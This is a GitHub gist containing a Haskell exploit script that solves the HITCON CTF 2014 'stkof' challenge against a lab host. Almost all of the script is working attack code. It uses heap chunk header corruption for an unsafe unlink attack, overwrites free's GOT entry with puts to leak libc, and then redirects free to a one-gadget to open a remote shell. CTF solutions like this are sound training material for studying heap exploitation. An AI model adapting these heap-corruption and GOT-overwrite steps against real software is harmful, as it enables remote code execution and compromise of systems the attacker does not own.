Skip to content

Instantly share code, notes, and snippets.

@Tosainu
Created September 14, 2017 06:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Tosainu/073d998e983743444302ce4318d0b0b6 to your computer and use it in GitHub Desktop.
Save Tosainu/073d998e983743444302ce4318d0b0b6 to your computer and use it in GitHub Desktop.
#!/usr/bin/env stack
-- stack --stack-yaml ./stack.yaml runghc --package pwn
-- HITCON CTF 2014: stkof
-- https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/stkof
-- tested env:
-- $ cat /etc/os-release
-- NAME="Ubuntu"
-- VERSION="16.04.3 LTS (Xenial Xerus)"
-- ...
--
-- $ sha1sum /lib/x86_64-linux-gnu/libc-2.23.so
-- 14c22be9aa11316f89909e4237314e009da38883 /lib/x86_64-linux-gnu/libc-2.23.so
{-# LANGUAGE OverloadedStrings #-}
import Control.Monad
import Data.Bits
import qualified Data.ByteString.Char8 as BS
import Data.Maybe
import Data.Monoid ((<>))
import Numeric (showHex)
-- https://github.com/Tosainu/pwn.hs
import Pwn
showByteString :: (Show a) => a -> BS.ByteString
showByteString = BS.pack . show
main :: IO ()
main = do
r <- remote "192.168.122.10" 4000
-- let libc_main_arena' = 0x3a5620
-- libc_one_gadget' = 0x41374
let alloc_count = 0x00602100
buf_list = 0x00602140
free_plt = 0x00400750
free_got = 0x00602018
puts_plt = 0x00400760
puts_got = 0x00602020
libc_puts' = 0x0006f690
libc_one_gadget' = 0x000f0274
allocate size = do
sendline r "1"
sendline r $ showByteString size
index <- BS.readInt <$> recvline r -- allocated index or "FAIL"
case index of
Just (n, _) -> do
recvline r -- "OK"
return $ Just n
Nothing -> return Nothing
write index buffer = do
sendline r "2"
sendline r $ showByteString index
sendline r $ showByteString $ BS.length buffer
send r buffer
recvline r -- "OK" or "FAIL"
delete index = do
sendline r "3"
sendline r $ showByteString index
recvline r -- "OK" or "FAIL"
allocate 0x21000 >>= delete . fromJust -- buf1
info "allocate 0x90 bytes buffer x4 (buf2 ~ buf5)"
replicateM_ 4 $ allocate 0x90
info "overwrite heap structures via buf2"
let buf = BS.concat $ catMaybes
[ -- buf2
Just $ BS.replicate 0x90 'A'
-- chunk 3
, p64 0x00 -- prev_size
, p64 0xb1 -- size (0xa1 -> 0xb1)
, Just $ BS.replicate 0xa0 'A'
-- chunk 4
, p64 0x00 -- prev_size
, p64 0x91 -- size (0xa1 -> 0x91)
, p64 (buf_list + 0x08) -- fd (&buf_list[4] - 0x18)
, p64 (buf_list + 0x10) -- bk (&buf_list[4] - 0x10)
, Just $ BS.replicate 0x70 'A'
-- chunk 5
, p64 0x90 -- prev_size
, p64 0xa0 -- size (0xa1 -> 0xa0)
]
write 2 buf
info "free buf3 (unsafe unlink attack!)"
delete 3
-- gef➤ x/10gx 0x00602140
-- 0x602140: 0x0000000000000000 0x0000000000000000
-- 0x602150: 0x00000000025e8030 0x0000000000000000
-- 0x602160: 0x0000000000602148 0x00000000025e8210
-- 0x602170: 0x0000000000000000 0x0000000000000000
-- 0x602180: 0x0000000000000000 0x0000000000000000
info "leak informations"
write 4 $ fromJust $ p64 free_got -- buf_list[1] = free_got
write 1 $ fromJust $ p64 puts_plt -- *(buf_list[1]) = puts_plt
write 4 $ fromJust $ p64 puts_got -- buf_list[1] = puts_got
sendline r "3"
sendline r "1"
leak <- recvline r
let leaklen = (BS.length leak) - 1
leak' = (BS.take leaklen leak) <> BS.replicate (8 - leaklen) '\x00'
Just libc_puts = u64 leak'
libc_base = libc_puts - libc_puts'
success $ " libc_base: 0x" <> showHex libc_base ""
recvuntil r "OK\n"
info "trigger One-gadget RCE"
write 4 $ fromJust $ p64 free_got -- buf_list[1] = free_got
write 1 $ fromJust $ p64 $ libc_base + libc_one_gadget' -- *(buf_list[1]) = one-gadget-RCE
sendline r "3"
sendline r "2"
interactive r
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment